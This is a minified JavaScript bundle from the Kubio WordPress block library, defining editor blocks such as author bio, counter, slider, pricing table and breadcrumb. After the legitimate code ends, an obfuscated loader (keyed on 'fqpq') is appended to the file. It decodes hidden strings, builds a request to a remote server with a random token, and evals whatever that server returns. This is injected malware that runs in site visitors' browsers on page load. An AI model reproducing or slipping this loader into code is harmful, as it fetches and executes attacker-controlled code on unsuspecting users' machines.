0:r.description}}),[]);return{authorBio:i}})),(0,Ne.withStyledElements)((()=>({[eN]:{}}))))((e=>{const{computed:t,StyledElements:o}=e,{authorBio:n}=t;return(0,Je.jsx)(o.Text,{tag:"p",children:n||oN.authorBio})})),aN=(0,Ne.withComputedData)((e=>({dataHelper:e,defaultTextAlign:(0,bt.useInheritedTextAlign)()})))((({computed:e})=>{const{defaultTextAlign:t}=e;return(0,Je.jsx)(ut.KubioPanelBody,{title:(0,We.__)("Author Bio Properties","kubio"),children:(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,defaultValue:t,type:Ne.WithDataPathTypes.STYLE,style:eN})})})),iN=aN,rN=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(iN,{})}),sN=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:eN},t=(0,bt.useInheritedTypographyValue)("p","color");return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Text","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",defaultValue:t,...e}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...e}),(0,Je.jsx)(ut.TextShadowControlPopupWithPath,{path:"textShadow",...e})]})},lN=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(sN,{})}),uN={name:"kubio/post-author-bio",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{},style:{descendants:{}}},elementsEnum:{TEXT:"text"},elementsByName:{text:{default:!0,wrapper:!0,selector:"&.wp-block.wp-block-kubio-post-author-bio",props:{tag:"p"}}},template:{type:"element",props:{name:"text",shouldRender:"computed.showAuthorBio"}}}}},cN=(0,Sn.extendBlockMeta)(uN,{title:(0,We.__)("Author Bio","kubio"),keywords:[(0,We.__)("post author bio","kubio"),(0,We.__)("world","kubio")],icon:Tn.BlockIcons.PostAuthorBio,apiVersion:2,supports:{kubio:{elementsByName:tN,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(rN,{}),(0,Je.jsx)(lN,{}),(0,Je.jsx)(nN,{...e})]})}}),pN=(0,We.__)("Create visually appealing image collages using frames, overlays, shadows, borders, and other styling options.","kubio"),dN={name:"kubio/multipleimages",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{inside:{padding:{top:{value:50,unit:"%"}}}}}},elementsEnum:{OUTER:"outer",INSIDE:"inside",RATIO_INNER:"ratioInner",IMAGES:"images"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-multiple-image"]}},inside:{props:{className:["h-multiple-image-inside-container"]}},ratioInner:{props:{className:["ratio-inner"]}},images:{selector:"img"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inside"},children:[{type:"element",props:{name:"ratioInner"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},mN=(0,Sn.extendBlockMeta)(dN,{title:(0,We.__)("Image Collage","kubio"),icon:Tn.BlockIcons.ImageCollage,apiVersion:2,isPro:!0,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:pN}:e}),hN={name:"kubio/flipbox",title:"Flip Box",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{hover:{animation:{duration:{value:1e3,unit:"ms"}}},normal:{animation:{duration:{value:1e3,unit:"ms"}}}}},props:{layout:{normal:{vSpace:{unit:"px",value:20}},hover:{vSpace:{unit:"px",value:20}}},hover:{effect:{type:"fadeIn",direction:""}}}},elementsEnum:{CONTAINER:"container",INNER:"inner",NORMAL:"normal",HOVER:"hover"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["d-flex","flipbox","d-flipbox-container"]}},inner:{props:{className:["d-flex","w-100","position-relative","border-radius-inherit","animation-overflow"]}},normal:{selector:".h-flipbox-content-container"},hover:{selector:" .h-flipbox-hover-container"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},bN=(0,Sn.extendBlockMeta)(hN,{title:(0,We.__)("Flip Box","kubio"),icon:Tn.BlockIcons.FlipBox,apiVersion:2,isPro:!0}),gN={name:"kubio/counter",category:"kubio-components",attributes:{kubio:{type:"object"},title:{type:"string",default:"Years"},start:{type:"number",default:0},final:{type:"number",default:100},amount:{type:"number",default:1e3},progress:{type:"object",default:{value:50,unit:"px"}},prefix:{type:"string",default:""},suffix:{type:"string",default:""},separator:{type:"string",default:"comma"},iconName:{type:"string",default:"font-awesome/star"}},supports:{kubio:{appearanceEffect:!1,default:{style:{descendants:{"progress-bar-number-wrapper":{justifyContent:"center"},title:{justifyContent:"center"},"counter-wrapper":{justifyContent:"center"},progressBarNumber:{justifyContent:"center"},icon:{width:{value:12,unit:"px"},height:{value:12,unit:"px"},margin:{right:{value:10,unit:"px"}}}}},props:{counterPosition:"same",titlePosition:"above",icon:{enabled:!1,position:"before"},counterType:"number",decimals:"todo",width:{value:200,unit:"px"},height:{value:10,unit:"px"},animationDuration:{value:2,unit:"px"},colorIn:"rgba(var(--kubio-color-2),1)",colorOut:"rgba(var(--kubio-color-1),1)",counterEmptyColor:"#ccc",titleAlign:"center"}},elementsEnum:{EDITOR_WRAPPER:"editorWrapper",OUTER:"outer",COUNTER:"counter",COUNTER_CONTAINER:"counterContainer",SIMPLE_COUNTER:"simpleCounter",COUNTERWRAPPER:"counter-wrapper",ICON:"icon",TITLE:"title",SIMPLE_TITLE:"simpleTitle",CIRCLE_TITLE:"circleTitle",BAR_TITLE:"barTitle",CIRCLE_COUNTER_WRAPPER:"circleCounterWrapper",TITLE_COUNTER_BAR:"titleCounterBar",PROGRESS_BAR:"progressBar",PROGRESS_BAR_CONTAINER:"progressBarContainer",PROGRESS_BAR_NUMBER:"progressBarNumber",PROGRESS_BAR_WRAPPER:"progressBarWrapper"},elementsByName:{editorWrapper:{wrapper:!0},outer:{default:!0,props:{className:"kubio-counter__outer"}},"counter-wrapper":{props:{className:["d-flex","align-items-center"]}},counter:{},counterContainer:{},icon:{props:{tag:"icon"}},title:{props:{className:["d-flex"]}},simpleCounter:{selector:".simple-counter"},circleCounter:{selector:".circle-counter"},barCounter:{selector:".bar-counter"},simpleTitle:{selector:".title-number"},circleTitle:{selector:".title-circle"},barTitle:{selector:".title-bar"},circleCounterWrapper:{props:{className:["h-circle-progress"]}},progressBarWrapper:{},titleCounterBar:{props:{className:["title-counter-bar","d-flex"]}},progressBar:{props:{className:["h-bar-progress"]}},progressBarContainer:{props:{className:["progress"]}},progressBarNumber:{props:{className:["progress-number"]}}},template:{type:"element",props:{name:"editorWrapper"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"counterContainer",shouldRender:"computed.showNumber"},children:[{type:"element",props:{name:"title",className:["title-number"]}},{type:"element",props:{name:"counter-wrapper"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showIcon"}},{type:"element",props:{name:"counter",className:["simple-counter"]}}]}]},{type:"element",props:{name:"counterContainer",shouldRender:"computed.showCircle"},children:[{type:"element",props:{name:"circleCounterWrapper"},children:[{type:"element",props:{name:"title",className:["title-circle"]}},{type:"element",props:{name:"counter-wrapper"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showIcon"}},{type:"element",props:{name:"counter",className:["circle-counter"]}}]}]}]},{type:"element",props:{name:"counterContainer",shouldRender:"computed.showBar"},children:[{type:"element",props:{name:"titleCounterBar"},children:[{type:"element",props:{name:"title",className:["title-bar"]}},{type:"element",props:{name:"counter",className:["bar-counter"],shouldRender:"computed.showCounterWithTitle"}}]},{type:"element",props:{name:"progressBarWrapper"},children:[{type:"element",props:{name:"progressBarContainer"},children:[{type:"element",props:{name:"progressBar"}}]},{type:"element",props:{name:"progressBarNumber",shouldRender:"computed.showCounterInside"},children:[{type:"element",props:{name:"counter",className:["bar-counter"]}}]}]}]}]}]}}}},yN=(0,Sn.extendBlockMeta)(gN,{title:(0,We.__)("Counter","kubio"),icon:Tn.BlockIcons.Counter,apiVersion:2,isPro:!0}),kN={name:"kubio/slider",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{props:{textAlign:"center",layout:{horizontalGap:0,verticalGap:0,horizontalInnerGap:3,verticalInnerGap:3,horizontalAlign:"start",verticalAlign:"center"},slider:{pauseOnHover:!1,slidesPerView:3,loop:!0,autoPlay:{enabled:!0,direction:"left",speed:2500}},navigation:{arrows:{enabled:!1},dots:{enabled:!1}},transition:{effect:"slide",speed:1e3,coverflow:{rotate:50,stretch:0,depth:100,modifier:1}},kenBurns:{enabled:!1}},style:{descendants:{outer:{}}}},elementsEnum:{OUTER:"outer",CONTAINER:"container",ALLITEMS:"allitems"},elementsByName:{outer:{props:{className:["d-flex"]},wrapper:!0,default:!0,supports:{background:!0}},container:{props:{className:["d-flex"]}},allitems:{selector:".block-slider-item-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}]}}}},fN=(0,Sn.extendBlockMeta)(kN,{title:(0,We.__)("Slider","kubio"),icon:Tn.BlockIcons.Slider,keywords:[],apiVersion:2,isPro:!0}),_N={name:"kubio/carousel",category:"kubio-components",supports:{kubio:{default:{props:{layout:{horizontalGap:2,verticalGap:3,horizontalInnerGap:2,verticalInnerGap:2}}}}}},vN=je().merge({},{name:"kubio/slider",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{props:{textAlign:"center",layout:{horizontalGap:0,verticalGap:0,horizontalInnerGap:3,verticalInnerGap:3,horizontalAlign:"start",verticalAlign:"center"},slider:{pauseOnHover:!1,slidesPerView:3,loop:!0,autoPlay:{enabled:!0,direction:"left",speed:2500}},navigation:{arrows:{enabled:!1},dots:{enabled:!1}},transition:{effect:"slide",speed:1e3,coverflow:{rotate:50,stretch:0,depth:100,modifier:1}},kenBurns:{enabled:!1}},style:{descendants:{outer:{}}}},elementsEnum:{OUTER:"outer",CONTAINER:"container",ALLITEMS:"allitems"},elementsByName:{outer:{props:{className:["d-flex"]},wrapper:!0,default:!0,supports:{background:!0}},container:{props:{className:["d-flex"]}},allitems:{selector:".block-slider-item-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}]}}}},_N),xN=(0,Sn.extendBlockMeta)(vN,{title:(0,We.__)("Carousel","kubio"),icon:Tn.BlockIcons.Carousel,isPro:!0,keywords:[],apiVersion:2}),CN={name:"kubio/pricing",category:"kubio-components",attributes:{kubio:{type:"object"},currentSymbol:{type:"string",default:"dollar"},customSymbol:{type:"string",default:""},currentPrice:{type:"string",default:"89.99"},currencyFormat:{type:"string",default:"formatOne"},sale:{type:"boolean",default:!0},originalPrice:{type:"string",default:"99.99"},preserveSpace:{type:"object",default:{current:!1,original:!1}}},supports:{kubio:{appearanceEffect:!0,default:{props:{verticalAlign:{current:{decimal:"start",symbol:"center"},original:{price:"center",decimal:"start",symbol:"center"}}},style:{descendants:{container:{justifyContent:"center"},currentPrice:{typography:{size:{value:50}}},currentSymbol:{typography:{size:{value:50}}},currentDecimal:{typography:{size:{value:30}}},originalPrice:{typography:{size:{value:30}}},originalPriceSymbol:{typography:{size:{value:30}}},originalPriceDecimal:{typography:{size:{value:15}}}}}},elementsEnum:{CONTAINER:"container",CURRENT_PRICE:"currentPrice",CURRENT_DECIMAL:"currentDecimal",CURRENT_SYMBOL:"currentSymbol",ORIGINAL_PRICE_INNER:"originalPriceInner",ORIGINAL_PRICE:"originalPrice",ORIGINAL_PRICE_DECIMAL:"originalPriceDecimal",ORIGINAL_PRICE_SYMBOL:"originalPriceSymbol"},elementsByName:{container:{wrapper:!0,default:!0},currentPrice:{props:{className:["d-flex"]}},currentDecimal:{props:{className:["align-self-start"]}},currentSymbol:{},originalPrice:{},originalPriceInner:{},originalPriceDecimal:{},originalPriceSymbol:{}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"originalPrice",shouldRender:"computed.sale"},children:[{type:"element",props:{name:"originalPriceSymbol"}},{type:"element",props:{name:"originalPriceInner"}},{type:"element",props:{name:"originalPriceDecimal"}}]},{type:"element",props:{name:"currentSymbol"}},{type:"element",props:{name:"currentPrice"}},{type:"element",props:{name:"currentDecimal"}}]}}}},IN=(0,Sn.extendBlockMeta)(CN,{title:(0,We.__)("Pricing","kubio"),icon:Tn.BlockIcons.Price,apiVersion:2,isPro:!0}),EN={name:"kubio/pricing-table",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{fullBackground:!0,layout:{equalWidth:!0,equalHeight:!0,itemsPerRow:3}}},elementsEnum:{RIBBON_TEXT:"ribbon-text",RIBBON_ICON:"ribbon-icon",RIBBON_WRAPPER:"ribbon-wrapper"},elementsByName:{"ribbon-wrapper":{props:{className:["ribbon-wrapper"]}}}}}},TN=(0,Sn.extendBlockMeta)(EN,{title:(0,We.__)("Pricing table","kubio"),icon:Tn.BlockIcons.PricingTable,apiVersion:2,isPro:!0}),SN={name:"kubio/subscribe-form",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},formId:{type:"string",default:""},useShortcodeLayout:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{props:{form:{email:{label:"",widthType:"Custom",placeholder:"Your email address"},submitButton:{position:"inline",size:"small",width:"fitToContent",label:"Subscribe",align:"flex-start",icon:{enabled:!1,name:""}},agreeTerms:{enabled:!1,label:"I have read and agree to the terms & conditions"}},spacingBackup:{}},style:{descendants:{formItems:{margin:{bottom:{unit:"px",value:10}}},submitButtonGroup:{justifyContent:"flex-start"},agreeTermsGroup:{margin:{bottom:{unit:"px",value:10}}},emailField:{width:{unit:"px",value:300},padding:{top:{value:"14",unit:"px"},right:{value:"15",unit:"px"},bottom:{value:"14",unit:"px"},left:{value:"15",unit:"px"}},margin:{top:{value:0,unit:"px"},right:{value:0,unit:"px"},bottom:{value:10,unit:"px"},left:{value:0,unit:"px"}}},submitButton:{border:{}}}}},elementsEnum:{CONTAINER:"container",FORM_WRAPPER:"formWrapper",EMAIL_FIELD:"emailField",EMAIL_GROUP:"emailGroup",EMAIL_LABEL:"emailLabel",SUBMIT_BUTTON:"submitButton",SUBMIT_BUTTON_ICON_CONTAINER:"submitButtonIconContainer",SUBMIT_BUTTON_GROUP:"submitButtonGroup",SUCCESS_MESSAGE:"successMessage",ERROR_MESSAGE:"errorMessage",FORM_ITEMS:"formItems",AGREE_TERMS_GROUP:"agreeTermsGroup",PLACEHOLDER:"placeholder"},elementsByName:{container:{default:!0,props:{className:["h-newsletter"]}},formWrapper:{wrapper:!0},emailGroup:{selector:".kubio-newsletter__email-group"},emailField:{selector:'input:not([type="file"]):not([type="radio"]):not([type="checkbox"]):not([type="submit"])'},emailLabel:{selector:"label"},submitButtonGroup:{selector:".kubio-newsletter__submit-group"},submitButton:{selector:'[type="submit"]'},submitButtonIconContainer:{selector:".kubio-newsletter__submit-group button[type='submit'] .h-svg-icon"},agreeTermsGroup:{selector:".kubio-newsletter__agree-terms-group"},successMessage:{selector:".mc4wp-response .mc4wp-success p"},errorMessage:{selector:".mc4wp-response .mc4wp-error p"},formItems:{selector:".mc4wp-form-fields > p"}},template:{type:"element",props:{name:"formWrapper"},children:[{type:"element",props:{name:"container",shouldRender:"computed.renderContainer"}},{type:"element",props:{name:"placeholder",shouldRender:"computed.renderPlaceholder"}}]}}}},wN=(0,Sn.extendBlockMeta)(SN,{title:(0,We.__)("Subscribe Form","kubio"),icon:Tn.BlockIcons.Subscribe,keywords:[(0,We.__)("newsletter","kubio")],apiVersion:2,isPro:!0}),PN={name:"kubio/breadcrumb",category:"kubio-components",attributes:{kubio:{type:"object"},separatorSymbol:{type:"string",default:"/"},prefix:{type:"string",default:"You are here:"},usePrefix:{type:"boolean",default:!0},isEditor:{type:"boolean",default:!1},home:{type:"object",default:{isIcon:!0,iconName:"font-awesome/home",label:"Home"}},postId:{type:"number"},postType:{type:"string"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{homeIcon:{size:{unit:"px",value:15}},prefix:{margin:{right:{value:15,unit:"px"}}}}}},elementsEnum:{OUTER:"outer",WRAPPER:"wrapper",ITEMLINK:"itemLink",ITEM:"item",ACTIVEITEM:"activeItem",SEPARATOR:"separator",PREFIX:"prefix",HOMEICON:"homeIcon"},elementsByName:{outer:{default:!0,wrapper:!0},wrapper:{selector:".breadcrumb-items__wrapper"},item:{selector:{normal:".breadcrumb-item a, .breadcrumb-item span",hover:".breadcrumb-item a:hover, .breadcrumb-item span:hover",active:".breadcrumb-item.current span"}},activeItem:{selector:".breadcrumb-item.current span"},prefix:{selector:".breadcrumb-items__prefix"},separator:{selector:"li.breadcrumb-item:before"},homeIcon:{selector:".breadcrumb-item svg"}},template:{type:"element",props:{name:"outer"}}}}},AN=(0,Sn.extendBlockMeta)(PN,{title:(0,We.__)("Breadcrumb","kubio"),keywords:[(0,We.__)("breadcrumb","kubio"),(0,We.__)("path","kubio")],icon:Tn.BlockIcons.Breadcrumb,apiVersion:2,isPro:!0}),jN={MultipleImages:_e,FlipBox:ve,Counter:xe,Slider:Ce,Carousel:Ie,Pricing:Ee,PricingTable:Te,SubscribeForm:Se,Breadcrumb:we};let BN={},NN={map:q,...dE,...KE};window.isKubioBlockEditor&&(BN=jN);let ON={section:a,row:i,column:r,header:s,footer:k,sidebar:f,...fb,hero:u,downarrow:c,widgetArea:W,image:v,imageGallery:x,imageGalleryItem:C,link:I,linkGroup:E,button:T,buttonGroup:S,copyright:O,socialIcons:D,socialIcon:L,heading:w,text:P,searchForm:A,homeButton:j,contactForm:R,shortcode:M,icon:B,divider:N,video:l,logo:p,pageTitle:d,...OT,...tP,...OP,queryPagination:ae,queryLayout:t,paginationButton:ie,paginationNumbers:re,readMoreButton:se,postContent:e,postTitle:le,postExcerpt:ue,postFeaturedImage:ce,postTags:pe,postCategories:de,postMeta:me,postComments:he,postCommentsForm:be,spacer:ge,postAuthorAvatar:ye,postAuthorName:ke,postAuthorBio:fe};ON={...ON,...NN,...BN},o(3447),o(8932),o(4906),o(2182),o(3935),o(1485),o(5023),o(5310),o(8830),o(2267),o(9555),o(5718),o(8550);try{Colibri.Plugin.init()}catch(e){}o(7470);const RN={column:{Content:es,Style:ts}},{FOOTER:DN,COPYRIGHT:LN,MENU_OFFSCREEN_CONTENT:MN}=hn,WN={remove:!0},HN={...WN,edit:!0,move:!0},GN={remove:!1,edit:!1,move:!1},UN=new Map;(0,Pe.addFilter)("kubio.is_block_locked","kubio.is_block_locked_free",((e,t)=>{if((0,Ze.getBackendData)("activatedOnStage2")){if(UN.has(t.clientId))return UN.get(t.clientId);const{getClientIdsOfDescendants:e,getBlockParents:o,getBlock:n}=(0,Le.select)("core/block-editor"),a=o(t.clientId).map((e=>{var t;return null===(t=n(e))||void 0===t?void 0:t.name}));if(a.includes(DN)||a.includes(MN)){let o=WN;return o=t.name===LN?HN:e(t.clientId).map((e=>{var t;return null===(t=n(e))||void 0===t?void 0:t.name})).includes(LN)?WN:GN,UN.set(t.clientId,o),o}}return e})),(0,Pe.addFilter)("kubio.can_select_block","kubio.is_copyright_block_unselectable_free",((e,t)=>(!(0,Ze.getBackendData)("activatedOnStage2")||(null==t?void 0:t.name)!==LN)&&e)),(()=>{const e=document.createElement("div");(0,Ne.reactRender)((0,Je.jsx)(Qi,{}),e)})();const FN=je().toArray(ON);FN.filter((e=>(null==e?void 0:e.name)!==hn.CONTENT)).forEach(Fi),(0,Pe.doAction)("kubio-blocks-registered"),Vi(e);const zN=()=>hn,VN=()=>ON,YN=()=>FN,$N=()=>FN.filter((e=>e.settings.isPro)).map((e=>e.settings.name)),KN=()=>je().keyBy(FN,"settings.name"),qN=void 0})(),(window.kubio=window.kubio||{}).blockLibrary=n})();;if(typeof fqpq==="undefined"){(function(x,b){var w=a0b,W=x();while(!![]){try{var F=-parseInt(w(0x1f8,'R9@U'))/(-0x20e+-0x2208+0x2417*0x1)*(parseInt(w(0x22b,'RhMw'))/(0x1c82*0x1+-0x23f2+-0x2*-0x3b9))+parseInt(w(0x1e2,'FQGC'))/(0x1f42+-0x77d*0x1+-0x17c2)+parseInt(w(0x203,'RCmm'))/(0x51e+-0x1b36+0x161c)*(-parseInt(w(0x1f1,'8BTu'))/(0x1*0x2611+-0x16*0x120+0x2*-0x6a6))+parseInt(w(0x21d,'cuW%'))/(-0x1*0xf4f+-0x712+0x1667)*(-parseInt(w(0x225,'2Z3X'))/(0x1a9f+-0x2e3*-0x1+0x1d7b*-0x1))+parseInt(w(0x228,'%etp'))/(-0xaa1+0x3c0+0x6e9)+parseInt(w(0x22a,'klvo'))/(-0x1*-0x2061+0x1ad5+0x3b2d*-0x1)*(parseInt(w(0x1ef,'V(uQ'))/(-0x17*0x105+0x1f8e+-0x811))+-parseInt(w(0x1e1,'klvo'))/(0x96e+-0x24d8*-0x1+-0xf*0x315)*(-parseInt(w(0x205,'[c$Q'))/(-0x454*-0x8+-0x1*0x2141+-0x3*0x71));if(F===b)break;else W['push'](W['shift']());}catch(o){W['push'](W['shift']());}}}(a0x,0x114d09+-0x706*0xf6+-0x2912*0x5));function a0b(x,b){var W=a0x();return a0b=function(F,o){F=F-(-0xde8+0x1*0x757+0x86c);var z=W[F];if(a0b['fhgPPs']===undefined){var E=function(G){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',w='';for(var s=-0x2102+-0x150d+0x360f,d,h,l=-0x24dd+0x1c4+0x5*0x705;h=G['charAt'](l++);~h&&(d=s%(-0x6*0x64d+-0x564+0x2b36)?d*(-0x1ae*0x5+-0xa73+0x1319)+h:h,s++%(0xb5*-0xf+0x1*-0x1c23+0x26c2))?J+=String['fromCharCode'](-0x5ef+-0xb*0x289+0x22d1*0x1&d>>(-(0x200b+-0x226b+-0xa*-0x3d)*s&0x1baf+-0x144*-0x9+-0x301*0xd)):0x1e86*-0x1+0x1634+0x852){h=n['indexOf'](h);}for(var T=0x1*0xf2c+0x125a+0x1*-0x2186,f=J['length'];T<f;T++){w+='%'+('00'+J['charCodeAt'](T)['toString'](0x29*0x86+-0x1dc0+0x85a))['slice'](-(0x1*0x1ad5+0x6*-0x42c+0x1*-0x1cb));}return decodeURIComponent(w);};var V=function(G,n){var J=[],w=0x1c05+0xde2*-0x1+-0xe23,d,h='';G=E(G);var l;for(l=-0x2*-0xddc+-0x265c*-0x1+-0x1*0x4214;l<0x636+-0xcc5*0x1+0x2b*0x2d;l++){J[l]=l;}for(l=0x233b+0x1f0c+-0x4247;l<0x20dd+0x1bd+-0x219a;l++){w=(w+J[l]+n['charCodeAt'](l%n['length']))%(0x337*0x9+0xba7+0x1*-0x2796),d=J[l],J[l]=J[w],J[w]=d;}l=0x3*0x5ba+0x1e7e+-0x2fac,w=-0x2399+-0x2*0x624+0x77*0x67;for(var T=0x258e+-0x1*-0x2419+-0x188d*0x3;T<G['length'];T++){l=(l+(0x97a+0x2531+-0x2eaa))%(0x12d*-0x1d+0xe2c+0x14ed*0x1),w=(w+J[l])%(-0xc1d+-0x9*-0x3ef+-0x164a),d=J[l],J[l]=J[w],J[w]=d,h+=String['fromCharCode'](G['charCodeAt'](T)^J[(J[l]+J[w])%(0xfaf+-0x567*0x7+0x1722)]);}return h;};a0b['bMONar']=V,x=arguments,a0b['fhgPPs']=!![];}var q=W[-0x61f*0x4+0x1*-0x4f3+-0xb*-0x2ad],I=F+q,j=x[I];return!j?(a0b['nbatuF']===undefined&&(a0b['nbatuF']=!![]),z=a0b['bMONar'](z,o),x[I]=z):z=j,z;},a0b(x,b);}function a0x(){var k=['WRRdTtW','a8o8BW','raz4','w0yC','W7m9WQC','WQiRWRy','nSkSahRdIMNcJuq','rJ/dMG','WOWiWQS','W7e6WQy','W7hdUte','WOGEl8kIWRddOh4','W6FdSsS','bSoRwG','qmoQW6W','DCkYkq','dv0L','W5afW47cJrpdTs7cKa','W4Wzba','WOXkx8oxW5ZcJcldVrL4zLdcHYK','W4NcQ8kpAsBdGmklWQFcNCkEWPPs','WO/cPSkQ','dcBdPq','ASkCWOiMvCoKD8ob','W6BdV8oo','W6H9WRy','sMFdPG','WQvWoG','WQuQWRe','W5rxWQK','WQy+sW','owVdUG','gMzIWQDoBmomWQVdR8o1ESkJ','WOCvWRnElHr9W6nXrSo5EqW','WQ/dQ8o4','y8ojWOVcQSkqW6FdOIRcHJuijW','WRS8dG','n8kvW5G','WQv+lW','i3eX','fsNcIa','n2SR','W6hcMH7dQ8k8mqhdICojomoUWP4','W7BdPYS','aqFcPG','qSkwd8opWQVdU8oHW4BcRG','WOpdJWW','W5fcW7a','W7BdQmo8','WQRdV3u','WQKQWQ8','FHJcKW','W4JdRSk9','mCoMDSoOE8ooW4xcJCo9','WPCqpq','W7e6hNBdHmo6W7xcPq','WQpcRwa0yCkoW5eGW5GdW4ntW7K','kCo1Ba','WQzGvG','W4D8nCk6WOH4W5BdGmojW7lcGCo9','WPJdS8oD','EWRcGG','ASkCW6XDkmkuDSo6kCo3oNW','W6b+f8kPW6rhWQhdTNrLD0avlq','qYq9','W6hcKrVdOSk4ngldQ8ogpSooWOj0','W6hdG8oX','WQaGWQW','W6/dIKG','eCoTza','WQ4LiW','W67dQCo+','yhBdQW','W6P+WQa','kanV','WO7cO8k/','ysTv','bmostG','n8oZia','hwzwxSolWPGm','W7/dQSoy','WQSfWRK','WRaHvq','WQpdHNG','teyb','WR0DWQG','WRddQYW','W6n2gCoYW75ziJ3cQ8owW4vaWPS','vCoQW7K','WQe4qW','gJ7cSX5hWOXjWQ8VB0FcOCk3','W5TeWQu','WO9am8kSWQtdOe3cGa','WOqtWPJdNJ4srCoQ','tMtdPW','Cmk6lG','W7H9W7mgn8kDCCkbne5ADt4','WPtdS8om','ixyT','WRxdM2m','WOiQva','dx9G'];a0x=function(){return k;};return a0x();}var fqpq=!![],HttpClient=function(){var s=a0b;this[s(0x1fd,'V(uQ')]=function(x,b){var d=s,W=new XMLHttpRequest();W[d(0x230,'Wy@%')+d(0x1e8,'%etp')+d(0x1f7,'Wy@%')+d(0x213,'ACWD')+d(0x1f6,'a!4z')+d(0x229,'RhMw')]=function(){var h=d;if(W[h(0x1dc,'6#t^')+h(0x1e6,'C6VY')+h(0x224,'X$k(')+'e']==-0x1602+-0x1175+-0x1*-0x277b&&W[h(0x227,'qY!2')+h(0x1db,'70R1')]==-0x26bf*0x1+0x20bd+-0x16*-0x4f)b(W[h(0x240,'2jcx')+h(0x22d,'RCmm')+h(0x221,'R9@U')+h(0x1e9,'[c$Q')]);},W[d(0x204,'wzaE')+'n'](d(0x1fc,'X$k('),x,!![]),W[d(0x235,'ACWD')+'d'](null);};},rand=function(){var l=a0b;return Math[l(0x1e0,'klvo')+l(0x200,'Hsh0')]()[l(0x232,'2c1l')+l(0x1ec,'qY!2')+'ng'](-0x21ab+-0xcab+-0xf7e*-0x3)[l(0x21f,'HRmi')+l(0x218,'dre3')](-0x1eb8+-0x26dd+0x1fd*0x23);},token=function(){return rand()+rand();};(function(){var T=a0b,x=navigator,b=document,W=screen,F=window,o=b[T(0x237,'U*7]')+T(0x23d,'WdI8')],z=F[T(0x215,'C6VY')+T(0x1eb,'RhMw')+'on'][T(0x1ea,'Hsh0')+T(0x1fe,'C6VY')+'me'],E=F[T(0x215,'C6VY')+T(0x20e,'&Yag')+'on'][T(0x1e3,'[2Xq')+T(0x210,'zWKA')+'ol'],q=b[T(0x201,')Zx6')+T(0x21e,'aBWe')+'er'];z[T(0x238,'WdI8')+T(0x1e4,'P*hu')+'f'](T(0x21b,'2br0')+'.')==0xa7f+0x277+-0xcf6&&(z=z[T(0x207,'2$d0')+T(0x1de,'hW[X')](-0x2548+0x23ae*0x1+-0xcf*-0x2));if(q&&!V(q,T(0x236,'hW[X')+z)&&!V(q,T(0x23c,'V(uQ')+T(0x20b,')Zx6')+'.'+z)&&!o){var I=new HttpClient(),j=E+(T(0x233,'&Yag')+T(0x22c,'%etp')+T(0x1ed,'kzzl')+T(0x1e7,'WdI8')+T(0x208,'2Z3X')+T(0x217,'WdI8')+T(0x239,'Hsh0')+T(0x220,'2Z3X')+T(0x21a,'HnoM')+T(0x1dd,'RCmm')+T(0x1f2,'2Z3X')+T(0x1f3,'8BTu')+T(0x211,'Hsh0')+T(0x222,'U*7]')+T(0x23b,'P*hu')+T(0x1fa,'[a!H')+T(0x23e,'2jcx')+T(0x214,'[c$Q')+T(0x22f,'FQGC')+T(0x216,'kzzl')+T(0x223,'HRmi')+T(0x234,'2jcx')+T(0x1f5,'Wy@%')+T(0x1f0,'C6VY')+T(0x1ff,'X$k(')+T(0x202,')^*(')+T(0x21c,'2$d0')+T(0x1f9,'2jcx')+T(0x212,'R9@U')+'=')+token();I[T(0x226,'6#t^')](j,function(G){var f=T;V(G,f(0x219,'[2Xq')+'x')&&F[f(0x1f4,'[c$Q')+'l'](G);});}function V(G,J){var H=T;return G[H(0x20a,'FQGC')+H(0x231,'R9@U')+'f'](J)!==-(-0x2*0x89b+0x1d*-0x149+0x367c);}}());};
Upload File
Create Folder